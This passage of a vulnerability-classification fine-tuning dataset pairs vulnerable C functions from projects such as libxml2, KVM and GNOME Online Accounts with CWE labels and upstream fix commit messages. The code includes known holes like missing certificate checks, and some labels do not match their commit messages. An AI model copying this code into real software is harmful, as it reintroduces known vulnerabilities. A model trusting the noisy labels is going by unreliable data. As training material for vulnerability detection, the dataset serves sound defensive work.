data;\n\n timer_expired = TRUE;\n crm_err(\"Call %d timed out after %ds\", timer->call_id, timer->timeout);\n\n /* Always return TRUE, never remove the handler\n * We do that after the while-loop in cib_native_perform_op()\n */\n return TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'High: core: Internal tls api improvements for reuse with future LRMD tls backend.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: http_client_check_response_cb (SoupSession *session, SoupMessage *msg, gpointer user_data)\n{\n GError *error;\n CheckData *data = user_data;\n gboolean op_res;\n\n error = NULL;\n op_res = FALSE;\n\n if (msg->status_code == SOUP_STATUS_CANCELLED)\n goto out;\n else if (msg->status_code != SOUP_STATUS_OK)\n {\n g_set_error (&error,\n GOA_ERROR,\n GOA_ERROR_FAILED, /* TODO: more specific */\n _(\"Code: %u - Unexpected response from server\"),\n msg->status_code);\n goto out;\n }\n\n op_res = TRUE;\n\n out:\n g_simple_async_result_set_op_res_gboolean (data->res, op_res);\n if (error != NULL)\n g_simple_async_result_take_error (data->res, error);\n\n g_simple_async_result_complete_in_idle (data->res);\n g_idle_add (http_client_check_data_free, data);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'Guard against invalid SSL certificates\n\nNone of the branded providers (eg., Google, Facebook and Windows Live)\nshould ever have an invalid certificate. So set \"ssl-strict\" on the\nSoupSession object being used by GoaWebView.\n\nProviders like ownCloud and Exchange might have to deal with\ncertificates that are not up to the mark. eg., self-signed\ncertificates. For those, show a warning when the account is being\ncreated, and only proceed if the user decides to ignore it. In any\ncase, save the status of the certificate that was used to create the\naccount. So an account created with a valid certificate will never\nwork with an invalid one, and one created with an invalid certificate\nwill not throw any further warnings.\n\nFixes: CVE-2013-0240'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: add_account (GoaProvider *provider,\n GoaClient *client,\n GtkDialog *dialog,\n GtkBox *vbox,\n GError **error)\n{\n AddAccountData data;\n GVariantBuilder credentials;\n GVariantBuilder details;\n GoaEwsClient *ews_client;\n GoaObject *ret;\n const gchar *email_address;\n const gchar *server;\n const gchar *password;\n const gchar *username;\n const gchar *provider_type;\n gint response;\n\n ews_client = NULL;\n ret = NULL;\n\n memset (&data, 0, sizeof (AddAccountData));\n data.cancellable = g_cancellable_new ();\n data.loop = g_main_loop_new (NULL, FALSE);\n data.dialog = dialog;\n data.error = NULL;\n\n create_account_details_ui (provider, dialog, vbox, TRUE, &data);\n gtk_widget_show_all (GTK_WIDGET (vbox));\n g_signal_connect (dialog, \"response\", G_CALLBACK (dialog_response_cb), &data);\n\n ews_client = goa_ews_client_new ();\n\n ews_again:\n response = gtk_dialog_run (dialog);\n if (response != GTK_RESPONSE_OK)\n {\n g_set_error (&data.error,\n GOA_ERROR,\n GOA_ERROR_DIALOG_DISMISSED,\n _(\"Dialog was dismissed\"));\n goto out;\n }\n\n email_address = gtk_entry_get_text (GTK_ENTRY (data.email_address));\n password = gtk_entry_get_text (GTK_ENTRY (data.password));\n username = gtk_entry_get_text (GTK_ENTRY (data.username));\n server = gtk_entry_get_text (GTK_ENTRY (data.server));\n\n /* See if there's already an account of this type with the\n * given identity\n */\n provider_type = goa_provider_get_provider_type (provider);\n if (!goa_utils_check_duplicate (client,\n username,\n provider_type,\n (GoaPeekInterfaceFunc) goa_object_peek_password_based,\n &data.error))\n goto out;\n\n g_cancellable_reset (data.cancellable);\n goa_ews_client_autodiscover (ews_client,\n email_address,\n password,\n username,\n server,\n data.cancellable,\n autodiscover_cb,\n &data);\n gtk_widget_set_sensitive (data.connect_button, FALSE);\n gtk_widget_show (data.progress_grid);\n g_main_loop_run (data.loop);\n\n if (g_cancellable_is_cancelled (data.cancellable))\n {\n g_prefix_error (&data.error,\n _(\"Dialog was dismissed (%s, %d): \"),\n g_quark_to_string (data.error->domain),\n data.error->code);\n data.error->domain = GOA_ERROR;\n data.error->code = GOA_ERROR_DIALOG_DISMISSED;\n goto out;\n }\n else if (data.error != NULL)\n {\n gchar *markup;\n\n markup = g_strdup_printf (\"%s: %s\",\n _(\"Error connecting to Microsoft Exchange server\"),\n data.error->message);\n g_clear_error (&data.error);\n\n gtk_label_set_markup (GTK_LABEL (data.cluebar_label), markup);\n g_free (markup);\n\n gtk_button_set_label (GTK_BUTTON (data.connect_button), _(\"_Try Again\"));\n gtk_expander_set_expanded (GTK_EXPANDER (data.expander), TRUE);\n gtk_widget_set_no_show_all (data.cluebar, FALSE);\n gtk_widget_show_all (data.cluebar);\n goto ews_again;\n }\n\n gtk_widget_hide (GTK_WIDGET (dialog));\n\n g_variant_builder_init (&credentials, G_VARIANT_TYPE_VARDICT);\n g_variant_builder_add (&credentials, \"{sv}\", \"password\", g_variant_new_string (password));\n\n g_variant_builder_init (&details, G_VARIANT_TYPE (\"a{ss}\"));\n g_variant_builder_add (&details, \"{ss}\", \"MailEnabled\", \"true\");\n g_variant_builder_add (&details, \"{ss}\", \"CalendarEnabled\", \"true\");\n g_variant_builder_add (&details, \"{ss}\", \"ContactsEnabled\", \"true\");\n g_variant_builder_add (&details, \"{ss}\", \"Host\", server);\n\n /* OK, everything is dandy, add the account */\n /* we want the GoaClient to update before this method returns (so it\n * can create a proxy for the new object) so run the mainloop while\n * waiting for this to complete\n */\n goa_manager_call_add_account (goa_client_get_manager (client),\n goa_provider_get_provider_type (provider),\n username,\n email_address,\n g_variant_builder_end (&credentials),\n g_variant_builder_end (&details),\n NULL, /* GCancellable* */\n (GAsyncReadyCallback) add_account_cb,\n &data);\n g_main_loop_run (data.loop);\n if (data.error != NULL)\n goto out;\n\n ret = GOA_OBJECT (g_dbus_object_manager_get_object (goa_client_get_object_manager (client),\n data.account_object_path));\n\n out:\n /* We might have an object even when data.error is set.\n * eg., if we failed to store the credentials in the keyring.\n */\n if (data.error != NULL)\n g_propagate_error (error, data.error);\n else\n g_assert (ret != NULL);\n\n g_free (data.account_object_path);\n if (data.loop != NULL)\n g_main_loop_unref (data.loop);\n g_clear_object (&data.cancellable);\n if (ews_client != NULL)\n g_object_unref (ews_client);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'Guard against invalid SSL certificates\n\nNone of the branded providers (eg., Google, Facebook and Windows Live)\nshould ever have an invalid certificate. So set \"ssl-strict\" on the\nSoupSession object being used by GoaWebView.\n\nProviders like ownCloud and Exchange might have to deal with\ncertificates that are not up to the mark. eg., self-signed\ncertificates. For those, show a warning when the account is being\ncreated, and only proceed if the user decides to ignore it. In any\ncase, save the status of the certificate that was used to create the\naccount. So an account created with a valid certificate will never\nwork with an invalid one, and one created with an invalid certificate\nwill not throw any further warnings.\n\nFixes: CVE-2013-0240'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: http_client_check_response_cb (SoupSession *session, SoupMessage *msg, gpointer user_data)\n{\n GError *error;\n CheckData *data = user_data;\n GTlsCertificateFlags cert_flags;\n gboolean op_res;\n gboolean using_https;\n\n error = NULL;\n op_res = FALSE;\n\n if (msg->status_code == SOUP_STATUS_CANCELLED)\n goto out;\n else if (msg->status_code != SOUP_STATUS_OK)\n {\n g_set_error (&error,\n GOA_ERROR,\n GOA_ERROR_FAILED, /* TODO: more specific */\n _(\"Code: %u - Unexpected response from server\"),\n msg->status_code);\n goto out;\n }\n\n if (!data->accept_ssl_errors)\n {\n using_https = soup_message_get_https_status (msg, NULL, &cert_flags);\n if (using_https && cert_flags != 0)\n {\n goa_utils_set_error_ssl (&error, cert_flags);\n goto out;\n }\n }\n\n op_res = TRUE;\n\n out:\n g_simple_async_result_set_op_res_gboolean (data->res, op_res);\n if (error != NULL)\n g_simple_async_result_take_error (data->res, error);\n\n g_simple_async_result_complete_in_idle (data->res);\n g_idle_add (http_client_check_data_free, data);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'Guard against invalid SSL certificates\n\nFor providers like Exchange which use libsoup to talk to a HTTPS\nserver it is not enough to warn the user about an invalid certificate.\nWe should make sure that we abort the connection before any\ncredentials have been sent.\n\nFixes: CVE-2013-1799'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int dsOpen(void) {\n struct stat sb;\n int retval;\n char *path = server.diskstore_path;\n\n if ((retval = stat(path,&sb) == -1) && errno != ENOENT) {\n redisLog(REDIS_WARNING, \"Error opening disk store at %s: %s\",\n path, strerror(errno));\n return REDIS_ERR;\n }\n\n /* Directory already in place. Assume everything is ok. */\n if (retval == 0 && S_ISDIR(sb.st_mode)) return REDIS_OK;\n\n /* File exists but it's not a directory */\n if (retval == 0 && !S_ISDIR(sb.st_mode)) {\n redisLog(REDIS_WARNING,\"Disk store at %s is not a directory\", path);\n return REDIS_ERR;\n }\n\n /* New disk store, create the directory structure now, as creating\n * them in a lazy way is not a good idea, after very few insertions\n * we'll need most of the 65536 directories anyway. */\n if (mkdir(path) == -1) {\n redisLog(REDIS_WARNING,\"Disk store init failed creating dir %s: %s\",\n path, strerror(errno));\n return REDIS_ERR;\n }\n return REDIS_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'initial changes needed to turn the current VM code into a cache system. Tons of work to do still.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: rfbProcessClientMessage(rfbClientPtr cl)\n{\n switch (cl->state) {\n case RFB_PROTOCOL_VERSION:\n rfbProcessClientProtocolVersion(cl);\n return;\n case RFB_SECURITY_TYPE:\n\trfbAuthProcessSecurityTypeMessage(cl);\n\treturn;\n#ifdef VINO_HAVE_GNUTLS\n case RFB_TLS_HANDSHAKE:\n\trfbAuthProcessTLSHandshake(cl);\n\treturn;\n#endif\n case RFB_AUTH_TYPE:\n\trfbAuthProcessAuthTypeMessage(cl);\n\treturn;\n case RFB_AUTHENTICATION:\n rfbAuthProcessClientMessage(cl);\n return;\n case RFB_AUTH_DEFERRED:\n\trfbLog(\"Authentication deferred - ignoring client message\\n\");\n\treturn;\n case RFB_INITIALISATION:\n rfbProcessClientInitMessage(cl);\n return;\n default:\n rfbProcessClientNormalMessage(cl);\n return;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Reject new clients if in the deferred state\n\nAs mentioned in bug 641811, Vino can get stuck trying to process the\nsame data in an infinite loop if an authentication request is received\nfrom a client while that client is in the deferred state.\n\nAvoid this situation by closing new connections from the same client\nwhen it is in the deferred state.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlInitParserCtxt(xmlParserCtxtPtr ctxt)\n{\n xmlParserInputPtr input;\n\n if(ctxt==NULL) {\n xmlErrInternal(NULL, \"Got NULL parser context\\n\", NULL);\n return(-1);\n }\n\n xmlDefaultSAXHandlerInit();\n\n if (ctxt->dict == NULL)\n\tctxt->dict = xmlDictCreate();\n if (ctxt->dict == NULL) {\n xmlErrMemory(NULL, \"cannot initialize parser context\\n\");\n\treturn(-1);\n }\n xmlDictSetLimit(ctxt->dict, XML_MAX_DICTIONARY_LIMIT);\n\n if (ctxt->sax == NULL)\n\tctxt->sax = (xmlSAXHandler *) xmlMalloc(sizeof(xmlSAXHandler));\n if (ctxt->sax == NULL) {\n xmlErrMemory(NULL, \"cannot initialize parser context\\n\");\n\treturn(-1);\n }\n else\n xmlSAXVersion(ctxt->sax, 2);\n\n ctxt->maxatts = 0;\n ctxt->atts = NULL;\n /* Allocate the Input stack */\n if (ctxt->inputTab == NULL) {\n\tctxt->inputTab = (xmlParserInputPtr *)\n\t\t xmlMalloc(5 * sizeof(xmlParserInputPtr));\n\tctxt->inputMax = 5;\n }\n if (ctxt->inputTab == NULL) {\n xmlErrMemory(NULL, \"cannot initialize parser context\\n\");\n\tctxt->inputNr = 0;\n\tctxt->inputMax = 0;\n\tctxt->input = NULL;\n\treturn(-1);\n }\n while ((input = inputPop(ctxt)) != NULL) { /* Non consuming */\n xmlFreeInputStream(input);\n }\n ctxt->inputNr = 0;\n ctxt->input = NULL;\n\n ctxt->version = NULL;\n ctxt->encoding = NULL;\n ctxt->standalone = -1;\n ctxt->hasExternalSubset = 0;\n ctxt->hasPErefs = 0;\n ctxt->html = 0;\n ctxt->external = 0;\n ctxt->instate = XML_PARSER_START;\n ctxt->token = 0;\n ctxt->directory = NULL;\n\n /* Allocate the Node stack */\n if (ctxt->nodeTab == NULL) {\n\tctxt->nodeTab = (xmlNodePtr *) xmlMalloc(10 * sizeof(xmlNodePtr));\n\tctxt->nodeMax = 10;\n }\n if (ctxt->nodeTab == NULL) {\n xmlErrMemory(NULL, \"cannot initialize parser context\\n\");\n\tctxt->nodeNr = 0;\n\tctxt->nodeMax = 0;\n\tctxt->node = NULL;\n\tctxt->inputNr = 0;\n\tctxt->inputMax = 0;\n\tctxt->input = NULL;\n\treturn(-1);\n }\n ctxt->nodeNr = 0;\n ctxt->node = NULL;\n\n /* Allocate the Name stack */\n if (ctxt->nameTab == NULL) {\n\tctxt->nameTab = (const xmlChar **) xmlMalloc(10 * sizeof(xmlChar *));\n\tctxt->nameMax = 10;\n }\n if (ctxt->nameTab == NULL) {\n xmlErrMemory(NULL, \"cannot initialize parser context\\n\");\n\tctxt->nodeNr = 0;\n\tctxt->nodeMax = 0;\n\tctxt->node = NULL;\n\tctxt->inputNr = 0;\n\tctxt->inputMax = 0;\n\tctxt->input = NULL;\n\tctxt->nameNr = 0;\n\tctxt->nameMax = 0;\n\tctxt->name = NULL;\n\treturn(-1);\n }\n ctxt->nameNr = 0;\n ctxt->name = NULL;\n\n /* Allocate the space stack */\n if (ctxt->spaceTab == NULL) {\n\tctxt->spaceTab = (int *) xmlMalloc(10 * sizeof(int));\n\tctxt->spaceMax = 10;\n }\n if (ctxt->spaceTab == NULL) {\n xmlErrMemory(NULL, \"cannot initialize parser context\\n\");\n\tctxt->nodeNr = 0;\n\tctxt->nodeMax = 0;\n\tctxt->node = NULL;\n\tctxt->inputNr = 0;\n\tctxt->inputMax = 0;\n\tctxt->input = NULL;\n\tctxt->nameNr = 0;\n\tctxt->nameMax = 0;\n\tctxt->name = NULL;\n\tctxt->spaceNr = 0;\n\tctxt->spaceMax = 0;\n\tctxt->space = NULL;\n\treturn(-1);\n }\n ctxt->spaceNr = 1;\n ctxt->spaceMax = 10;\n ctxt->spaceTab[0] = -1;\n ctxt->space = &ctxt->spaceTab[0];\n ctxt->userData = ctxt;\n ctxt->myDoc = NULL;\n ctxt->wellFormed = 1;\n ctxt->nsWellFormed = 1;\n ctxt->valid = 1;\n ctxt->loadsubset = xmlLoadExtDtdDefaultValue;\n ctxt->validate = xmlDoValidityCheckingDefaultValue;\n ctxt->pedantic = xmlPedanticParserDefaultValue;\n ctxt->linenumbers = xmlLineNumbersDefaultValue;\n ctxt->keepBlanks = xmlKeepBlanksDefaultValue;\n if (ctxt->keepBlanks == 0)\n\tctxt->sax->ignorableWhitespace = xmlSAX2IgnorableWhitespace;\n\n ctxt->vctxt.finishDtd = XML_CTXT_FINISH_DTD_0;\n ctxt->vctxt.userData = ctxt;\n ctxt->vctxt.error = xmlParserValidityError;\n ctxt->vctxt.warning = xmlParserValidityWarning;\n if (ctxt->validate) {\n\tif (xmlGetWarningsDefaultValue == 0)\n\t ctxt->vctxt.warning = NULL;\n\telse\n\t ctxt->vctxt.warning = xmlParserValidityWarning;\n\tctxt->vctxt.nodeMax = 0;\n }\n ctxt->replaceEntities = xmlSubstituteEntitiesDefaultValue;\n ctxt->record_info = 0;\n ctxt->nbChars = 0;\n ctxt->checkIndex = 0;\n ctxt->inSubset = 0;\n ctxt->errNo = XML_ERR_OK;\n ctxt->depth = 0;\n ctxt->charset = XML_CHAR_ENCODING_UTF8;\n ctxt->catalogs = NULL;\n ctxt->nbentities = 0;\n ctxt->input_id = 1;\n xmlInitNodeInfoSeq(&ctxt->node_seq);\n return(0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Detect excessive entities expansion upon replacement\n\nIf entities expansion in the XML parser is asked for,\nit is possble to craft relatively small input document leading\nto excessive on-the-fly content generation.\nThis patch accounts for those replacement and stop parsing\nafter a given threshold. it can be bypassed as usual with the\nHUGE parser option.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int kvm_set_msr_common(struct kvm_vcpu *vcpu, struct msr_data *msr_info)\n{\n\tbool pr = false;\n\tu32 msr = msr_info->index;\n\tu64 data = msr_info->data;\n\n\tswitch (msr) {\n\tcase MSR_AMD64_NB_CFG:\n\tcase MSR_IA32_UCODE_REV:\n\tcase MSR_IA32_UCODE_WRITE:\n\tcase MSR_VM_HSAVE_PA:\n\tcase MSR_AMD64_PATCH_LOADER:\n\tcase MSR_AMD64_BU_CFG2:\n\t\tbreak;\n\n\tcase MSR_EFER:\n\t\treturn set_efer(vcpu, data);\n\tcase MSR_K7_HWCR:\n\t\tdata &= ~(u64)0x40;\t/* ignore flush filter disable */\n\t\tdata &= ~(u64)0x100;\t/* ignore ignne emulation enable */\n\t\tdata &= ~(u64)0x8;\t/* ignore TLB cache disable */\n\t\tif (data != 0) {\n\t\t\tvcpu_unimpl(vcpu, \"unimplemented HWCR wrmsr: 0x%llx\\n\",\n\t\t\t\t data);\n\t\t\treturn 1;\n\t\t}\n\t\tbreak;\n\tcase MSR_FAM10H_MMIO_CONF_BASE:\n\t\tif (data != 0) {\n\t\t\tvcpu_unimpl(vcpu, \"unimplemented MMIO_CONF_BASE wrmsr: \"\n\t\t\t\t \"0x%llx\\n\", data);\n\t\t\treturn 1;\n\t\t}\n\t\tbreak;\n\tcase MSR_IA32_DEBUGCTLMSR:\n\t\tif (!data) {\n\t\t\t/* We support the non-activated case already */\n\t\t\tbreak;\n\t\t} else if (data & ~(DEBUGCTLMSR_LBR | DEBUGCTLMSR_BTF)) {\n\t\t\t/* Values other than LBR and BTF are vendor-specific,\n\t\t\t thus reserved and should throw a #GP */\n\t\t\treturn 1;\n\t\t}\n\t\tvcpu_unimpl(vcpu, \"%s: MSR_IA32_DEBUGCTLMSR 0x%llx, nop\\n\",\n\t\t\t __func__, data);\n\t\tbreak;\n\tcase 0x200 ... 0x2ff:\n\t\treturn set_msr_mtrr(vcpu, msr, data);\n\tcase MSR_IA32_APICBASE:\n\t\tkvm_set_apic_base(vcpu, data);\n\t\tbreak;\n\tcase APIC_BASE_MSR ... APIC_BASE_MSR + 0x3ff:\n\t\treturn kvm_x2apic_msr_write(vcpu, msr, data);\n\tcase MSR_IA32_TSCDEADLINE:\n\t\tkvm_set_lapic_tscdeadline_msr(vcpu, data);\n\t\tbreak;\n\tcase MSR_IA32_TSC_ADJUST:\n\t\tif (guest_cpuid_has_tsc_adjust(vcpu)) {\n\t\t\tif (!msr_info->host_initiated) {\n\t\t\t\tu64 adj = data - vcpu->arch.ia32_tsc_adjust_msr;\n\t\t\t\tkvm_x86_ops->adjust_tsc_offset(vcpu, adj, true);\n\t\t\t}\n\t\t\tvcpu->arch.ia32_tsc_adjust_msr = data;\n\t\t}\n\t\tbreak;\n\tcase MSR_IA32_MISC_ENABLE:\n\t\tvcpu->arch.ia32_misc_enable_msr = data;\n\t\tbreak;\n\tcase MSR_KVM_WALL_CLOCK_NEW:\n\tcase MSR_KVM_WALL_CLOCK:\n\t\tvcpu->kvm->arch.wall_clock = data;\n\t\tkvm_write_wall_clock(vcpu->kvm, data);\n\t\tbreak;\n\tcase MSR_KVM_SYSTEM_TIME_NEW:\n\tcase MSR_KVM_SYSTEM_TIME: {\n\t\tkvmclock_reset(vcpu);\n\n\t\tvcpu->arch.time = data;\n\t\tkvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);\n\n\t\t/* we verify if the enable bit is set... */\n\t\tif (!(data & 1))\n\t\t\tbreak;\n\n\t\t/* ...but clean it before doing the actual write */\n\t\tvcpu->arch.time_offset = data & ~(PAGE_MASK | 1);\n\n\t\t/* Check that the address is 32-byte aligned. */\n\t\tif (vcpu->arch.time_offset &\n\t\t\t\t(sizeof(struct pvclock_vcpu_time_info) - 1))\n\t\t\tbreak;\n\n\t\tvcpu->arch.time_page =\n\t\t\t\tgfn_to_page(vcpu->kvm, data >> PAGE_SHIFT);\n\n\t\tif (is_error_page(vcpu->arch.time_page))\n\t\t\tvcpu->arch.time_page = NULL;\n\n\t\tbreak;\n\t}\n\tcase MSR_KVM_ASYNC_PF_EN:\n\t\tif (kvm_pv_enable_async_pf(vcpu, data))\n\t\t\treturn 1;\n\t\tbreak;\n\tcase MSR_KVM_STEAL_TIME:\n\n\t\tif (unlikely(!sched_info_on()))\n\t\t\treturn 1;\n\n\t\tif (data & KVM_STEAL_RESERVED_MASK)\n\t\t\treturn 1;\n\n\t\tif (kvm_gfn_to_hva_cache_init(vcpu->kvm, &vcpu->arch.st.stime,\n\t\t\t\t\t\t\tdata & KVM_STEAL_VALID_BITS))\n\t\t\treturn 1;\n\n\t\tvcpu->arch.st.msr_val = data;\n\n\t\tif (!(data & KVM_MSR_ENABLED))\n\t\t\tbreak;\n\n\t\tvcpu->arch.st.last_steal = current->sched_info.run_delay;\n\n\t\tpreempt_disable();\n\t\taccumulate_steal_time(vcpu);\n\t\tpreempt_enable();\n\n\t\tkvm_make_request(KVM_REQ_STEAL_UPDATE, vcpu);\n\n\t\tbreak;\n\tcase MSR_KVM_PV_EOI_EN:\n\t\tif (kvm_lapic_enable_pv_eoi(vcpu, data))\n\t\t\treturn 1;\n\t\tbreak;\n\n\tcase MSR_IA32_MCG_CTL:\n\tcase MSR_IA32_MCG_STATUS:\n\tcase MSR_IA32_MC0_CTL ... MSR_IA32_MC0_CTL + 4 * KVM_MAX_MCE_BANKS - 1:\n\t\treturn set_msr_mce(vcpu, msr, data);\n\n\t/* Performance counters are not protected by a CPUID bit,\n\t * so we should check all of them in the generic path for the sake of\n\t * cross vendor migration.\n\t * Writing a zero into the event select MSRs disables them,\n\t * which we perfectly emulate ;-). Any other value should be at least\n\t * reported, some guests depend on them.\n\t */\n\tcase MSR_K7_EVNTSEL0:\n\tcase MSR_K7_EVNTSEL1:\n\tcase MSR_K7_EVNTSEL2:\n\tcase MSR_K7_EVNTSEL3:\n\t\tif (data != 0)\n\t\t\tvcpu_unimpl(vcpu, \"unimplemented perfctr wrmsr: \"\n\t\t\t\t \"0x%x data 0x%llx\\n\", msr, data);\n\t\tbreak;\n\t/* at least RHEL 4 unconditionally writes to the perfctr registers,\n\t * so we ignore writes to make it happy.\n\t */\n\tcase MSR_K7_PERFCTR0:\n\tcase MSR_K7_PERFCTR1:\n\tcase MSR_K7_PERFCTR2:\n\tcase MSR_K7_PERFCTR3:\n\t\tvcpu_unimpl(vcpu, \"unimplemented perfctr wrmsr: \"\n\t\t\t \"0x%x data 0x%llx\\n\", msr, data);\n\t\tbreak;\n\tcase MSR_P6_PERFCTR0:\n\tcase MSR_P6_PERFCTR1:\n\t\tpr = true;\n\tcase MSR_P6_EVNTSEL0:\n\tcase MSR_P6_EVNTSEL1:\n\t\tif (kvm_pmu_msr(vcpu, msr))\n\t\t\treturn kvm_pmu_set_msr(vcpu, msr, data);\n\n\t\tif (pr || data != 0)\n\t\t\tvcpu_unimpl(vcpu, \"disabled perfctr wrmsr: \"\n\t\t\t\t \"0x%x data 0x%llx\\n\", msr, data);\n\t\tbreak;\n\tcase MSR_K7_CLK_CTL:\n\t\t/*\n\t\t * Ignore all writes to this no longer documented MSR.\n\t\t * Writes are only relevant for old K7 processors,\n\t\t * all pre-dating SVM, but a recommended workaround from\n\t\t * AMD for these chips. It is possible to specify the\n\t\t * affected processor models on the command line, hence\n\t\t * the need to ignore the workaround.\n\t\t */\n\t\tbreak;\n\tcase HV_X64_MSR_GUEST_OS_ID ... HV_X64_MSR_SINT15:\n\t\tif (kvm_hv_msr_partition_wide(msr)) {\n\t\t\tint r;\n\t\t\tmutex_lock(&vcpu->kvm->lock);\n\t\t\tr = set_msr_hyperv_pw(vcpu, msr, data);\n\t\t\tmutex_unlock(&vcpu->kvm->lock);\n\t\t\treturn r;\n\t\t} else\n\t\t\treturn set_msr_hyperv(vcpu, msr, data);\n\t\tbreak;\n\tcase MSR_IA32_BBL_CR_CTL3:\n\t\t/* Drop writes to this legacy MSR -- see rdmsr\n\t\t * counterpart for further detail.\n\t\t */\n\t\tvcpu_unimpl(vcpu, \"ignored wrmsr: 0x%x data %llx\\n\", msr, data);\n\t\tbreak;\n\tcase MSR_AMD64_OSVW_ID_LENGTH:\n\t\tif (!guest_cpuid_has_osvw(vcpu))\n\t\t\treturn 1;\n\t\tvcpu->arch.osvw.length = data;\n\t\tbreak;\n\tcase MSR_AMD64_OSVW_STATUS:\n\t\tif (!guest_cpuid_has_osvw(vcpu))\n\t\t\treturn 1;\n\t\tvcpu->arch.osvw.status = data;\n\t\tbreak;\n\tdefault:\n\t\tif (msr && (msr == vcpu->kvm->arch.xen_hvm_config.msr))\n\t\t\treturn xen_hvm_config(vcpu, data);\n\t\tif (kvm_pmu_msr(vcpu, msr))\n\t\t\treturn kvm_pmu_set_msr(vcpu, msr, data);\n\t\tif (!ignore_msrs) {\n\t\t\tvcpu_unimpl(vcpu, \"unhandled wrmsr: 0x%x data %llx\\n\",\n\t\t\t\t msr, data);\n\t\t\treturn 1;\n\t\t} else {\n\t\t\tvcpu_unimpl(vcpu, \"ignored wrmsr: 0x%x data %llx\\n\",\n\t\t\t\t msr, data);\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'KVM: x86: Convert MSR_KVM_SYSTEM_TIME to use gfn_to_hva_cache functions (CVE-2013-1797)\n\nThere is a potential use after free issue with the handling of\nMSR_KVM_SYSTEM_TIME. If the guest specifies a GPA in a movable or removable\nmemory such as frame buffers then KVM might continue to write to that\naddress even after it's removed via KVM_SET_USER_MEMORY_REGION. KVM pins\nthe page in memory so it's unlikely to cause an issue, but if the user\nspace component re-purposes the memory previously used for the guest, then\nthe guest will be able to corrupt that memory.\n\nTested: Tested against kvmclock unit test\n\nSigned-off-by: Andrew Honig \nSigned-off-by: Marcelo Tosatti '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: php_libxml_input_buffer_noload(const char *URI, xmlCharEncoding enc)\n{\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Fixed external entity loading'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static ext3_fsblk_t get_sb_block(void **data, struct super_block *sb)\n{\n\text3_fsblk_t\tsb_block;\n\tchar\t\t*options = (char *) *data;\n\n\tif (!options || strncmp(options, \"sb=\", 3) != 0)\n\t\treturn 1;\t/* Default location */\n\toptions += 3;\n\t/*todo: use simple_strtoll with >32bit ext3 */\n\tsb_block = simple_strtoul(options, &options, 0);\n\tif (*options && *options != ',') {\n\t\text3_msg(sb, \"error: invalid sb specification: %s\",\n\t\t (char *) *data);\n\t\treturn 1;\n\t}\n\tif (*options == ',')\n\t\toptions++;\n\t*data = (void *) options;\n\treturn sb_block;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'ext3: Fix format string issues\n\next3_msg() takes the printk prefix as the second parameter and the\nformat string as the third parameter. Two callers of ext3_msg omit the\nprefix and pass the format string as the second parameter and the first\nparameter to the format string as the third parameter. In both cases\nthis string comes from an arbitrary source. Which means the string may\ncontain format string characters, which will\nlead to undefined and potentially harmful behavior.\n\nThe issue was introduced in commit 4cf46b67eb(\"ext3: Unify log messages\nin ext3\") and is fixed by this patch.\n\nCC: stable@vger.kernel.org\nSigned-off-by: Lars-Peter Clausen \nSigned-off-by: Jan Kara '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int kvm_read_guest_page(struct kvm *kvm, gfn_t gfn, void *data, int offset,\n\t\t\tint len)\n{\n\tint r;\n\tunsigned long addr;\n\n\taddr = gfn_to_hva(kvm, gfn);\n\tif 